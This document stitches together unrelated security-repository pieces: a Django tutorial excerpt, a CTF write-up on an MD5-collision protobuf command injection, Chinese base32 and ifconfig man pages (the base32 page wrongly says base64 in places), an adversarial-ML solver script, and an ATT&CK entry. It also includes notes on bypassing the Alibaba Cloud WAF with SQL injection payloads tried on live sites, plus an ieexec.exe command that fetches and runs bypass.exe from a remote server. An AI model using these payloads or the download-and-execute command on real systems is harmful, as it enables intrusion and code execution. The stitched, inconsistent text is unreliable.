HTTP 头部信息的字典。 例如: - CONTENT_LENGTH - CONTENT_TYPE - QUERY_STRING: 未解析的原始查询字符串 - REMOTE_ADDR: 客户端 IP 地址 - REMOTE_HOST: 客户端主机名 - SERVER_NAME: 服务器主机名 - SERVER_PORT: 服务器端口 META 中这些头加上前缀 HTTP_ 为 Key, 冒号 (:) 后面的为 Value, 例如: - HTTP_ACCEPT_ENCODING - HTTP_ACCEPT_LANGUAGE - HTTP_HOST: 客户发送的 HTTP 主机头信息 - HTTP_REFERER: referring 页 - HTTP_USER_AGENT: 客户端的 user-agent 字符串 - HTTP_X_BENDER: X-Bender 头信息 - user 是一个 django.contrib.auth.models.User 对象,代表当前登录的用户。 如果访问用户当前没有登录,user 将被初始化为 django.contrib.auth.models.AnonymousUser 的实例。 你可以通过 user 的 is_authenticated() 方法来辨别用户是否登录: ```py if request.user.is_authenticated(): # Do something for logged-in users. else: # Do something for anonymous users. ``` 只有激活 Django 中的 AuthenticationMiddleware 时该属性才可用 - session 唯一可读写的属性,代表当前会话的字典对象。只有激活 Django 中的 session 支持时该属性才可用。 - raw_post_data 原始 HTTP POST 数据,未解析过。 高级处理时会有用处。 Request 对象也有一些有用的方法: - __getitem__(key) 返回 GET/POST 的键值, 先取 POST, 后取 GET。如果键不存在抛出 KeyError。 这是我们可以使用字典语法访问 HttpRequest 对象。 例如, request["foo"] 等同于先 request.POST["foo"] 然后 request.GET["foo"] 的操作。 - has_key() 检查 request.GET or request.POST 中是否包含参数指定的 Key。 - get_full_path() 返回包含查询字符串的请求路径。例如, "/music/bands/the_beatles/?print=true" - is_secure() 如果请求是安全的,返回 True,就是说,发出的是 HTTPS 请求。 #### QueryDict对象 在 HttpRequest 对象中, GET 和 POST 属性是 django.http.QueryDict 类的实例。 QueryDict 类似字典的自定义类,用来处理单键对应多值的情况。 QueryDict 实现所有标准的词典方法。还包括一些特有的方法: - __getitem__ 和标准字典的处理有一点不同,就是,如果 Key 对应多个 Value,__getitem__() 返回最后一个 value。 - __setitem__ 设置参数指定 key 的 value 列表 (一个 Python list)。注意:它只能在一个 mutable QueryDict 对象上被调用(就是通过 copy() 产生的一个 QueryDict 对象的拷贝). - get() 如果 key 对应多个 value,get()返回最后一个 value。 - update() 参数可以是 QueryDict,也可以是标准字典。和标准字典的 update 方法不同,该方法添加字典 items,而不是替换它们: ``` >>> q = QueryDict('a=1') >>> q = q.copy() # to make it mutable >>> q.update({'a': '2'}) >>> q.getlist('a') ['1', '2'] >>> q['a'] # returns the last ['2'] ``` - items() 和标准字典的 items() 方法有一点不同, 该方法使用单值逻辑的__getitem__(): ``` >>> q = QueryDict('a=1&a=2&a=3') >>> q.items() [('a', '3')] ``` - values() 和标准字典的 values() 方法有一点不同, 该方法使用单值逻辑的__getitem__(): --- ## 视图 一个视图函数,简称视图,是一个简单的 Python 函数,它接受 Web 请求并且返回 Web 响应。 响应可以是一个 HTML 页面、一个 404 错误页面、重定向页面、XML 文档、或者一张图片... 无论视图本身包含什么逻辑,都要返回响应。代码写在哪里都可以,只要在 Python 目录下面,一般放在项目的 views.py 文件中。 每个视图函数都负责返回一个 HttpResponse 对象,对象中包含生成的响应。 视图层中有两个重要的对象:请求对象(request)与响应对象(HttpResponse)。 ### 请求对象: HttpRequest 对象(简称 request 对象) #### GET 数据类型是 QueryDict,一个类似于字典的对象,包含 HTTP GET 的所有参数。 有相同的键,就把所有的值放到对应的列表里。 取值格式:对象.方法。 get():返回字符串,如果该键对应有多个值,取出该键的最后一个值。 ```py from django.http import HttpResponse def ffffffff0x(request): name = request.GET.get("name") return HttpResponse('姓名:{}'.format(name)) ``` #### POST 数据类型是 QueryDict,一个类似于字典的对象,包含 HTTP POST 的所有参数。 常用于 form 表单,form 表单里的标签 name 属性对应参数的键,value 属性对应参数的值。 取值格式: 对象.方法。 get():返回字符串,如果该键对应有多个值,取出该键的最后一个值。 ```py from django.http import HttpResponse def ffffffff0x(request): name = request.POST.get("name") return HttpResponse('姓名:{}'.format(name)) ``` **post 请求返回 403** ```py from django.views.decorators.csrf import csrf_exempt @csrf_exempt def ffffffff0x(request): ''' ''' ``` 当采用客户端象 django 的服务器提交 post 请求时,会得到403,权限异常。 因为 django 针对提交的请求,有校验。所以会如此。 客户端提交的 post 如果不加这段,会出现 403 error #### body 数据类型是二进制字节流,是原生请求体里的参数内容,在 HTTP 中用于 POST,因为 GET 没有请求体。 在 HTTP 中不常用,而在处理非 HTTP 形式的报文时非常有用,例如:二进制图片、XML、Json 等。 ```py from django.http import HttpResponse def ffffffff0x(request): name = request.body print(name) return HttpResponse("ffffffff0x") ``` #### path 获取 URL 中的路径部分,数据类型是字符串。 ```py def ffffffff0x(request): name = request.path print(name) return HttpResponse("ffffffff0x") ``` #### method 获取当前请求的方式,数据类型是字符串,且结果为大写。 ```py def ffffffff0x(request): name = request.method print(name) return HttpResponse("ffffffff0x") ``` ### 响应对象:HttpResponse 对象 响应对象主要有三种形式:HttpResponse()、render()、redirect()。 HttpResponse(): 返回文本,参数为字符串,字符串中写文本内容。如果参数为字符串里含有 html 标签,也可以渲染。 ```py def ffffffff0x(request): # return HttpResponse("ffffffff0x") return HttpResponse("<a href='https://www.ffffffff0x.com/'>ffffffff0x</a>") ``` render(): 返回文本,第一个参数为 request,第二个参数为字符串(页面名称),第三个参数为字典(可选参数,向页面传递的参数:键为页面参数名,值为views参数名)。 ```py def ffffffff0x(request): name ="ffffffff0x" return render(request,"ffffffff0x.html",{"name":name}) ``` redirect():重定向,跳转新页面。参数为字符串,字符串中填写页面路径。一般用于 form 表单提交后,跳转到新页面。 ```py def ffffffff0x(request): return redirect("/index/") ``` render 和 redirect 是在 HttpResponse 的基础上进行了封装: - render:底层返回的也是 HttpResponse 对象 - redirect:底层继承的是 HttpResponse 对象 --- ## 路由 路由简单的来说就是根据用户请求的 URL 链接来判断对应的处理程序,并返回处理结果,也就是 URL 与 Django 的视图建立映射关系。 Django 路由在 urls.py 配置,urls.py 中的每一条配置对应相应的处理方法。 ```py from django.urls import re_path # 用re_path 需要引入 urlpatterns = [ path('admin/', admin.site.urls), path('index/', views.index), # 普通路径 re_path(r'^articles/([0-9]{4})/$', views.articles), # 正则路径 ] ``` ### 正则路径中的分组 #### 正则路径中的无名分组 无名分组按位置传参,一一对应。 views 中除了 request,其他形参的数量要与 urls 中的分组数量一致。 urls.py ```py urlpatterns = [ path('admin/', admin.site.urls), re_path("^index/([0-9]{4})/$", views.index), ] ``` views.py ```py from django.shortcuts import HttpResponse def index(request,year): print(year) # 一个形参代表路径中一个分组的内容,按顺序匹配 return HttpResponse('ffffffff0x') ``` #### 正则路径中的有名分组 语法: ``` (?P<组名>正则表达式) ``` 有名分组按关键字传参,与位置顺序无关。 views 中除了 request,其他形参的数量要与 urls 中的分组数量一致, 并且 views 中的形参名称要与 urls 中的组名对应。 urls.py ```py urlpatterns = [ path('admin/', admin.site.urls), re_path(r'^index/([0-9]{4})/([0-9]{2})/$', views.ffffffff0x), ] ``` views.py ```py from django.shortcuts import HttpResponse def index(request, year, month): print(year,month) # 一个形参代表路径中一个分组的内容,按关键字对应匹配 return HttpResponse('ffffffff0x') ``` #### 路由分发(include) 存在问题:Django 项目里多个app目录共用一个 urls 容易造成混淆,后期维护也不方便。 解决:使用路由分发(include),让每个app目录都单独拥有自己的 urls。 步骤: 1. 在每个 app 目录里都创建一个 urls.py 文件。 2. 在项目名称目录下的 urls 文件里,统一将路径分发给各个 app 目录。 ```py from django.contrib import admin from django.urls import path,include # 从 django.urls 引入 include urlpatterns = [ path('admin/', admin.site.urls), path("app01/", include("app01.urls")), path("app02/", include("app02.urls")), ] ``` 在各自 app 目录下,写自己的 urls.py 文件,进行路径跳转。 app01 目录 urls.py: ```py from django.urls import path,re_path from app01 import views # 从自己的 app 目录引入 views urlpatterns = [ re_path(r'^login/(?P<m>[0-9]{2})/$', views.index, ), ] ``` app02 目录 urls.py: ```py from django.urls import path,re_path from app02 import views # 从自己的 app 目录引入views urlpatterns = [ re_path("^xxx/(?P[0-9]{4})/$", views.xxx), ] ``` 在各自 app 目录下的 views.py 文件中写各自的视图函数。 ### 反向解析 在 Django 中提供了关于 URL 的映射的解决方案,可以做两个方向的使用 1. 普通解析过程:由客户端的浏览器发起一个 url 请求,Django 根据 url 解析,把 url 中的参数捕获,调用相应的视图,获取相应的数据,然后返回给客户端显示。 2. 反向解析:通过一个视图的名字,再加上一些参数和值,逆向获取相应的 url。简单来说,反向解析 (本质) 就是指通过一些方法,得到一个结果,该结果可以访问到对应的 url 并触发视图函数的运行 反向解析的应用场景,是因为在软件开发初期,url 地址的路径设计可能并不完美,后期需要进行调整,如果项目中很多地方使用了该路径,一旦该路径发生变化,就意味着所有使用该路径的地方都需要进行修改,这是一个非常繁琐的操作。 反向解析一般用在模板中的超链接及视图中的重定向。 因此,解决方案就是在编写一条 `url(regex,view,kwargs=None,name=None)` 时,可以通过参数 `name` 为 `url` 地址的路径部分起一个别名,项目中就可以通过别名来获取这个路径。以后无论路径如何变化别名与路径始终保持一致。这种通过别名获取路径的过程就称为反向解析。 #### 反向解析的示例 示例:登录成功跳转到 index.html 页面 在 urls.py 中 ```py from django.conf.urls import url from django.contrib import admin from app01 import views urlpatterns = [ url(r'^admin/', admin.site.urls), url(r'^login/$', views.login,name='login_page'), # 路径login/的别名为login_page url(r'^index/$', views.index,name='index_page'), # 路径index/的别名为index_page ] ``` 在 views.py 中 ```py from django.shortcuts import render from django.shortcuts import reverse # 用于反向解析 from django.shortcuts import redirect #用于重定向页面 from django.shortcuts import HttpResponse def login(request): if request.method == 'GET': # 当为get请求时,返回login.html页面,页面中的{% url 'login_page' %}会被反向解析成路径:/login/ return render(request, 'login.html') # 当为post请求时,可以从request.POST中取出请求体的数据 name = request.POST.get('name') pwd = request.POST.get('pwd') if name == 'admin' and pwd == '123456': url = reverse('index_page') # reverse会将别名'index_page'反向解析成路径:/index/ return redirect(url) # 重定向到/index/ else: return HttpResponse('用户名或密码错误') def index(request): return render(request, 'index.html') ``` login.html ```html <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>登录页面</title> </head> <body> <!--强调:login_page必须加引号--> <form action="{% url 'login_page' %}" method="post"> <p>用户名:<input type="text" name="name"></p> <p>密码:<input type="password" name="pwd"></p> <p><input type="submit" value="提交"></p> </form> </body> </html> ``` index.html ```html <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>首页</title> </head> <body> <h3>我是index页面...</h3> </body> </html> ``` 会看到登录页面,输入正确的用户名密码后会跳转到 index.html 页面,当修改路由表中匹配路径的正则表达式时,程序其余部分均无需修改 因此,反向解析的一般用法是 ```py # 后端views.py反向解析的使用 from django.shortcuts import render,HttpResponse,redirect,reverse url = reverse('login_page') # 前端模版login.html文件中,反向解析的使用 {% url 'login_page' %} ``` #### url 分组的反向解析 如果路径中存在分组(无名分组和有名分组)的反向解析,例如 ```py from django.conf.urls import url from django.contrib import admin from app01 import views urlpatterns = [ url(r'^admin/', admin.site.urls), url(r'^aritcle/(\d+)/$',views.article,name='article_page'), # 无名分组 url(r'^user/(?P<uid>\d+)/$',views.article,name='user_page'), # 有名分组 ] ``` 对应反向解析的写法是 ```py # 1 针对无名分组,比如要反向解析出:/aritcle/1/ 这种路径,写法如下 在views.py中,反向解析的使用: url = reverse('article_page',args=(1,)) 在模版login.html文件中,反向解析的使用 {% url 'article_page' 1 %} # 2 针对有名分组,比如要反向解析出:/user/1/ 这种路径,写法如下 在views.py中,反向解析的使用: url = reverse('user_page',kwargs={'uid':1}) 在模版login.html文件中,反向解析的使用 {% url 'user_page' uid=1 %} ``` --- ## Django Admin 管理工具 Django 提供了基于 web 的管理工具。 Django 自动管理工具是 django.contrib 的一部分。你可以在项目的 settings.py 中的 INSTALLED_APPS 看到它: ```py INSTALLED_APPS = ( 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', ) ``` django.contrib 是一套庞大的功能集,它是 Django 基本代码的组成部分。 ### 激活管理工具 通常我们在生成项目时会在 urls.py 中自动设置好,我们只需去掉注释即可。 修改 urls.py ```py # urls.py from django.conf.urls import url from django.contrib import admin urlpatterns = [ url(r'^admin/', admin.site.urls), ] ``` 当这一切都配置好后,Django 管理工具就可以运行了。 通过命令创建超级用户 ```bash python3 manage.py migrate python3 manage.py createsuperuser ``` 注意,这一步的前提是需要配置好和数据库的连接 输入用户名密码登录 为了让 admin 界面管理某个数据模型,我们需要先注册该数据模型到 admin。比如,我们之前在 TestModel 中已经创建了模型 Test 。修改 TestModel/admin.py: ```py from django.contrib import admin from TestModel.models import Test # Register your models here. admin.site.register(Test) ``` 刷新后即可看到 Testmodel 数据表 ### 复杂模型 管理页面的功能强大,完全有能力处理更加复杂的数据模型。 先在 TestModel/models.py 中增加一个更复杂的数据模型: ```py from django.db import models # Create your models here. class Test(models.Model): name = models.CharField(max_length=20) class Contact(models.Model): name = models.CharField(max_length=200) age = models.IntegerField(default=0) email = models.EmailField() def __unicode__(self): return self.name class Tag(models.Model): contact = models.ForeignKey(Contact, on_delete=models.CASCADE,) name = models.CharField(max_length=50) def __unicode__(self): return self.name ``` 这里有两个表。Tag 以 Contact 为外部键。一个 Contact 可以对应多个 Tag。 我们还可以看到许多在之前没有见过的属性类型,比如 IntegerField 用于存储整数。 在 TestModel/admin.py 注册多个模型并显示 ```py from django.contrib import admin from TestModel.models import Test,Contact,Tag # Register your models here. admin.site.register([Test, Contact, Tag]) ``` 在以上管理工具我们就能进行复杂模型操作。 然后记得更新表结构 ```bash python3 manage.py makemigrations TestModel python3 manage.py migrate TestModel ``` --- ## Source & Reference - https://www.runoob.com/django/django-template.html - https://www.runoob.com/django/django-model.html - https://www.runoob.com/django/django-views.html - https://www.ssgeek.com/post/django-zhi-url-fan-xiang-jie-xi/ - https://www.runoob.com/django/django-admin-manage-tool.html - https://www.liujiangblog.com/course/django/86
sec-knowleage
# Looking glass (web/crypto, 330p, 18 solved) In the challenge we get access to a go webservice behind some wasm interface. We can ignore the wasm part and focus solely on the [go part](main.go) and on [protobuf interface](command.proto). The logic of the application is simple: 1. User can send messages via protobuf 2. The message can be either a tracert or ping request 3. User provides address to query (or not, since there are default values) 4. Address is filtered to make sure there is no malicious payload, especially that the commands are run without any shellescape, so are prone to command injection by simply sending `; your_command`' The twist is that the application has a cache of know requests. If request is in the cache, then filtering of address is not performed anymore. The cache is based on `md5` of the request payload. The vulnerability is of course hash collision. If we could create two requests with identical md5, but one with a nice address which will not get rejected, and the second one with malicious shell injection, we will be able to gain RCE and steal the flag. While md5 is generally considered broken, it's not yet possible to make such strong collision though. It's easy to make a random collision with hashclash and possible to make collisions with similar prefixes. We also have to take into consideration protobuf. It will reject requests padded with some weird bytes, and hash collisions always contain those! It took us a while to figure out how to bypass the protobuf problem. While we were going through the documentation we noticed that protobuf praises itself to be backward/future compatible. You can add new fields to the packet definition, and a server which doesn't expect them (because has old version of the interface definition) will simply ignore them! This means that we could pretend that all the weird bytes added by hash collision are simply a new `bytes` field, and the server will accept this and ignore them. If we look into the provided protobuf interface definition we can see that ping and tracert commands have only fields 1,2,3, so if we provide a field of any higher number it will get ignored. Still, we have to somehow create a payload for the collision. While looking for the best available options we found UniColl with a very neat feature -> it can create a collision with identical 9 byte prefix, then LSB flip in the 10th byte, then common suffix of 10 bytes and then collision blocks. The idea was to use this single bitflip in 10th byte to change the protobuf packet in such a way, that our payload would be interpreted differently. Our final target payload is `\n~"\x00"\x00"\x00"\x00"\n\t;nl /flag"h` with collision bitflip on the last `\x00` flipping to `\x01`. The shell injection payload is `\t;nl /flag` where `nl` works as `cat`. The idea behind this payload is: - `\n` is constant starting byte of the protobuf message - `~` is the length of the rest of the packet - `"` is in binary `00100010`. Last 3 bits denote the "type" of the field, and in this case it's `010` so decimal `2` which means string/bytes field. First 5 bits are for the field number, so `00100` in our case it's field number `4`, which doesn't exist in the given protocol definition, so it will be ignored by the server. - `\x00` is the length of the string payload, in this case 0. - So the `"\x00` are just "padding" becase we don't care about the 9 bytes before the collision bitflip, but we need to put something there. - `"h` at the end is simply there to convince protobuf to ignore all bytes after that, again `"` is definition of string field number 4 and `h` is just the number 104 which is the length of the collision bytes added by hash collision. The key part of the payload is: `"\x00"\n\t;nl /flag` This `"\x00` is interesting, because the flip happens on `\x00`. In the first version the length of the string is `0` in the other case the length is `1`. Let's consider what happens in both cases: ## Case `\x00` - We again have `"\x00` so ignored string field of length 0 - Then protobuf reads `"\n\t;nl /flag` which is simply another ignored string field, this time of length 10, which simply means protobuf will ignore this whole part Such payload will pass all the checks in the application, because we didn't provide address at all and default value will be used. Protobuf will not complain about this message, because we placed all bytes on ignored string field number 4. ## Case `\x01` - This time we have `"\x01` so ignored string field of length 1, so it will ignore also the character `"` behind. - Then protobuf reads `\n\t;nl /flag` and the `\n` is now interpreted as field definition, in binary `\n` is `00001010`, so a string field (`010` -> 2), with number `00001` so 1, which happens to be the id number of `address` field. The `\t` defines the field length of 9. - This means protobuf will now parse `;nl /flag` as address to use for ping! ## Collision Now the last thing to do is actually run UniColl to get a collision for payload `\n~"\x00"\x00"\x00"\x00"\n\t;nl /flag"h`: ``` $ base64 collision1.bin Cn4iACIAIgAiACIKCTtubCAvZmxhZyJoBOabW+Ucv+N3Z3aeA1fsgd7eMHf0W1fcdyw6Ql+5ta7x 1O05JbT4qrUgkje4ZPcLwFWXta75QjR4KlMy6tIf9+uLcwKEpmUDzQ9YZOABqFoVG+v+7acdj9jc rr8flHO19HD8v2EhZ6A= $ base64 collision2.bin Cn4iACIAIgAiASIKCTtubCAvZmxhZyJoBOabW+Ucv+N3Z3aeA1fsgd7eMHf0W1fcdyw6Ql+5ta7x 1O05JbT4qrUgkje4ZPcLwFSXta75QjR4KlMy6tIf9+uLcwKEpmUDzQ9YZOABqFoVG+v+7acdj9jc rr8flHO19HD8v2EhZ6A= ``` Send those two requests to the server and read back the flag: `DrgnS{w00T_Md5_1N_2OI9?}`
sec-knowleage
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH BASE32 1 2022年9月 "GNU coreutils 9.1" 用户命令 .SH 名称 base32 \- 以 base32 方式对数据编码/解码并输出到标准输出 .SH 概述 \fBbase64\fP [\fI\,选项\/\fP]... [\fI\,文件列表\/\fP] .SH 描述 .\" Add any additional description here .PP 以 Base64 方式对文件列表中的文件或者标准输入编码或解码,并输出到标准输出。 .PP 如果没有指定文件,或者指定文件为“\-”,则从标准输入读取。 .PP 必选参数对长短选项同时适用。 .TP \fB\-d\fP, \fB\-\-decode\fP 对数据解码 .TP \fB\-i\fP, \fB\-\-ignore\-garbage\fP 解码时忽略不在 Base64 字母表中的字符 .TP \fB\-w\fP, \fB\-\-wrap\fP=\fI\,列数\/\fP 编码后,输出在超过指定列数时自动折行(默认为76)。指定列数为0,则不自动折行。 .TP \fB\-\-help\fP 显示此帮助信息并退出 .TP \fB\-\-version\fP 显示版本信息并退出 .PP 数据以 RFC 4648 规定的 Base32 字母表编码 。解码时,除了 Base32 字母表中字符,输入数据(字节流)中可能还会有换行符。可以尝试用 \fB\-\-ignore\-garbage\fP 选项来忽略字节流中任何不在字母表中的字符。 .SH 作者 由 Simon Josefsson 编写。 .SH 报告错误 GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/> .br 请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。 .SH 版权 Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>. .br This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. .SH 参见 完整文档请见: <https://www.gnu.org/software/coreutils/base32> .br 或者在本地使用: info \(aq(coreutils) base32 invocation\(aq
sec-knowleage
.\" 中文版 Copyright (c) 2000 meaculpa, Laser 和 www.linuxforum.net .TH IFCONFIG 8 "4 August 1997" "net-tools" "Linux Programmer's Manual" .SH NAME ifconfig \- 配置网络接口 .SH 总览 .B "ifconfig [接口]" .br .B "ifconfig 接口 [aftype] options | address ..." .SH 描述 .B ifconfig 用于配置常驻内核的网络接口。它用于在引导成功时设定网络接口。 此后,只在需要调试及系统调整时才使用。 .LP 如没有给出参数, .B ifconfig 显示当前有效接口的状态。如给定单个 .B 接口 作为参数,它只显示给出的那个接口的状态; 如果给出一个 .B -a 参数,它会显示所有接口的状态,包括那些停用的接口。 否则就对一个接口进行配置。 .SH 地址族 如果跟在接口名称后的第一个参数是它支持地址族的名称, 那么这个地址族被用于翻译和显示所有的协议地址。 当前支持的地址族包括 .B inet ( .I TCP/IP ,缺省), .B inet6 ( .I IPv6 ) , .B ax25 ( .I AMPR 无线分组 ), .B ddp ( .I Appletalk 2 代), .B ipx ( .I Novell IPX ) 和 .B netrom ( .I AMPR 无线分组)。 .SH 选项 .B 接口 接口名称。通常是一个后跟单元号的驱动设备名, 例如第一个以太接口 .I eth0 。 .TP .B up 此选项激活接口。如果给接口声明了地址,等于隐含声明了这个选项。 .TP .B down 此选项使接口驱动设备关闭。 .TP .B "[\-]arp" 允许或禁止在接口上使用 .B ARP 协议。 .TP .B "[\-]promisc" 允许或禁止接口置于混杂模式。 如果选用,则接口可以接收网络上的所有分组。 .TP .B "[\-]allmulti" 允许或禁止 .B "组播模式(all-multicast)" 。 如果选用,则接口可以接收网络上的所有组播分组。 .TP .B "metric N" 将接口度量值设置为整数 N。 (译注:度量值表示在这个路径上发送一个分组的成本,就是通过多少个路由) .TP .B "mtu N" 此选项设定接口的最大传输单元 .I MTU。 .TP .B "dstaddr addr" 为点到点链路(如 .I PPP )设定一个远程 IP 地址。此选项现已废弃;用 .I pointopoint 选项替换。 .TP .B "netmask addr" 为接口设定 IP 网络掩码。缺省值通常是 A,B 或 C 类的网络掩码 (由接口的 IP 地址推出),但也可设为其它值。 .TP .B "add addr/prefixlen" 为接口加入一个 .I IPv6 地址。 .TP .B "del addr/prefixlen" 为接口删除一个 .I IPv6 地址。 .TP .B "tunnel aa.bb.cc.dd" 建立一个新的 .B SIT (在 .I IPv4 中的 .I IPv6 )设备,为给定的目的地址建立通道。 .TP .B "irq addr" 为接口设定所用的中断值。 并不是所有的设备都能动态更改自己的中断值。 .TP .B "io_addr addr" 为接口设定起始输入/输出地址。 .TP .B "mem_start addr" 设定接口所用的共享内存起始地址。只有少数设备需要。 .TP .B "media type" 设定接口所用的物理端口或介质类型。并不是所有设备都会 更改这项值,而且它们支持的类型可能并相同。典型的 .B type 是 .I 10base2 (细缆以太网), .I 10baseT (双绞线 10Mbps 以太网), .I AUI (外部收发单元接口)等等。介质类型为 .B auto 则用于让设备自动判断介质。 同样,并非所有设备都可以这样工作。 .TP .B "[\-]broadcast [addr]" 如果给出了地址参数, 则可以为接口设定该协议的广播地址。 否则,为接口设置(或清除) .I IFF_BROADCAST 标志。 .TP .B "[\-]pointopoint [addr]" 此选项允许接口置为 .B 点到点 模式,这种模式在两台主机间建立一条无人可以监听的直接链路。 .br 如果还给出了地址参数,则设定链路另一方的协议地址,正如废弃的 .I dstaddr 选项的功能。否则,为接口设置(或清除) .I IFF_POINTOPOINT 标志。 .TP .B "hw class address" 如接口驱动程序支持,则设定接口的硬件地址。 此选项必须后跟硬件的类型名称和硬件地址等价的可打印 .I ASCII 字符。当前支持的硬件类型包括 .I ether (以太网), .I ax25 (AMPR AX.25), .I ARCnet 和 .I netrom (AMPR NET/ROM)。 .TP .B multicast 为接口设定组播标志。 通常无须用此选项因为接口本身会正确设定此标志。 .TP .B address 为接口分配的 .B IP 地址。 .TP .B "txqueuelen length" 为接口设定传输队列的长度。可以为具有高时延的低速接口设定 较小值以避免在象 .I telnet 这样烦人的交互通信时大量高速的传输。 .SH 注意 从内核版本 2.2 起不再有别名接口的显式接口统计信息了。 打印出的源地址统计信息被同一接口的所有别名地址共享。 打印出的源地址统计信息被同一接口的所有别名地址共享。 如果你需要每个地址的统计信息,就应该用 .BR ipchains(8) 命令为地址加入显式的记帐规则。 .SH 相关文件 .I /proc/net/socket .br .I /proc/net/dev .br .I /proc/net/if_inet6 .SH BUGS 当显示 .I appletalk DDP 和 .I IPX 地址时不能用此命令进行更改,但可以用这条命令显示。 .SH 又见 route(8), netstat(8), arp(8), rarp(8), ipchains(8) .SH 作者 Fred N. van Kempen, <waltje@uwalt.nl.mugnet.org> Alan Cox, <Alan.Cox@linux.org> Phil Blundell, <Philip.Blundell@pobox.com> Andi Kleen, <ak@muc.de> .SH "[中文版维护人]" .B meaculpa <meaculpa@21cn.com> .SH "[中文版最新更新]" .B 2000/12/08 .SH "[中国 Linux 论坛 man 手册页翻译计划]" .TP .BI http://cmpp.linuxforum.net
sec-knowleage
import numpy as np import json from crypto_commons.netcat.netcat_commons import nc, send, receive_until_match def solve(feats): return [-1 if feats[i] < 0 else 1 for i in range(len(feats))] def get_probability(z): return 1. / (1 + np.exp(-(z))) def fit(X, feats, target): y = [] for i in range(0, len(feats)): y.append(get_probability(np.dot(X, feats[i]))) return 1. - float(y[target]) def cmd_hi(s): send(s, "hi") response = "" while ']]' not in response: response += s.recv(9999999) feats = json.loads(response) return feats def cmd_target(s): send(s, "target") response = s.recv(9999) target = int(response) return target def attack(s): response = receive_until_match(s, "Welcome to the server. \n") print(response) feats = cmd_hi(s) target = cmd_target(s) print target solution = solve(feats[target]) print(solution) print(fit(solution, feats, target)) send(s, "answer " + " ".join(map(str, solution))) print(s.recv(9999)) def main(): s = nc("adversarial.dctf-f1nals-2017.def.camp", 6666) for i in range(30): attack(s) main()
sec-knowleage
# 0x00 矛与云盾 由于没有阿里云盾的试验环境,以下操作都在线上测试,总的来说阿里云还是比较不好绕的,因为对于`/**/ /*!*/` 他是强过滤,根本不能用,我们先来测试简单语句 ``` and 1=1 拦截 && 1=1 不拦截 or 1=1 拦截 || 1=1 不拦截 and 1 不拦截 and 1= 拦截 and = 拦截 and 1> 不拦截 and 1>1 拦截 and 1>a 拦截 and 1>! 不拦截 ``` 通过简单的测试我们发现,他对 && || 过滤还是不是很严 ,and的话是不让用直接接入=号的,综合一下前面的知识,我们可以想到几个方法。 1. 不用and 和 or 2. 用and 在两边接入干扰字符 ``` and ~1=1 不拦截 and!!!1=1 不拦截 and 1-1 不拦截 and true 不拦截 and 1 不拦截 ``` # 0x01 注入 1. 盲注 ``` and substr(1,1,1)='r' 拦截 && substr(1,1,1)='r' 不拦截 and!!!substr(1,1,1)='r' 不拦截 and!!!substr((select),1,1)='r' 不拦截 and!!!substr((select a()),1,1)='r' 不拦截 and!!!substr((select user()),1,1)='r' 拦截 ``` 可以知道select 后面加入 常见函数会被拦截,所以我们可以 使用一定的东西来分割他 但是`/**/` 和`/*!*/` 是不能用的,所以最后想到 就是 注释符号 ``` and!!!substr((select user-- (1)%0a()),1,1)='r' 不拦截 edu ``` 测试一会儿发现他对某些关键词拦截还是很严格的,绕过应该是可以的,一些生僻的函数加点东西 他就不会拦截 ``` and!!!substr((select @@`datadir`),1,1)='D'-- + 拦截 yq and!!!substr((select{x @@datadir}),1,1)='D' 不拦截 and!!!substr((select{x @@`datadir`}),1,1)='D'-- + 不拦截 ``` 这里比较难的是 from的绕过,虽然最后绕过了,但是感觉不是很完美 ``` from 不拦截 from user 不拦截 select from user 拦截 edu select all from user 拦截 select from(user) 拦截 select from{user} 拦截 select from[user] 不拦截 select from [user] 拦截 ``` 最后想到web+mysql好像编码的问题 也能让解析我们的中文字符 但是这种对环境要求比较大 ``` and!!!substr((select{x username}from(users) limit 0,1),1,1)='D' http://127.0.0.1/sqli/Less-1/?id=1%27 and!!!substr((select username from【users】 limit 0,1),3,1)='m'-- + ``` 2. 联合 前面测试发现 内联注释不能使用了,只能靠括号之类的来干扰了 ``` union select 不拦截 union select 1 拦截 union(select 1) 不拦截 union(select 1,2,3) 不拦截 ``` 3. 报错 ``` and `updatexml`(1,select `user`%0a(),1) ``` ![mysql](./img/2.4.1.png) ![mysql](./img/2.4.2.png) 阿里云的需要深度探索才能绕过,规则还是比较困难的,相对于安全狗,因为edu 和yq的云盾好像版本不同,绕过的手法也要不一样,具体思路就是这样的,由于我直接在官网测试的,所以可能有点问题。 # 0x02 文末 #### 本文如有错误,请及时提醒,避免误导他人 * author:404
sec-knowleage
# T1105-win-入口工具转移-ieexec.exe(白名单) ## 来自ATT&CK的描述 攻击者可能会将工具或其他文件从外部系统转移到被攻击的环境中。可以通过命令和控制通道从外部攻击者控制的系统复制文件,用以将工具带入被攻击的网络中,或通过其他工具(如 FTP)的替代协议。 也可以使用 scp、rsync 和 sftp等本地工具在Mac和 Linux上复制文件。 ## 测试案例 IEexec.exe应用程序是.NET Framework附带程序,存在于多个系统白名单内。可以将IEExec.exe应用程序用作主机,以运行使用URL启动的其他托管应用程序。 **路径:** ``` - C:\Windows\Microsoft.NET\Framework\v2.0.50727\ieexec.exe - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\ieexec.exe ``` 从远程服务器下载并执行 bypass.exe。 ``` ieexec.exe http://x.x.x.x:8080/bypass.exe ``` 用例:从远程位置下载并运行攻击者代码 所需权限:用户 操作系统:Windows vista、Windows 7、Windows 8、Windows 8.1、Windows 10 ## 检测日志 windows安全日志 ## 测试复现 ```bash Microsoft Windows [版本 10.0.18363.418] (c) 2019 Microsoft Corporation。保留所有权利。 C:\Users\liyang>ieexec.exe 'ieexec.exe' 不是内部或外部命令,也不是可运行的程序 或批处理文件。 C:\Users\liyang>C:\Windows\Microsoft.NET\Framework\v2.0.50727\ieexec.exe http://XXXX/QQ.exe ``` 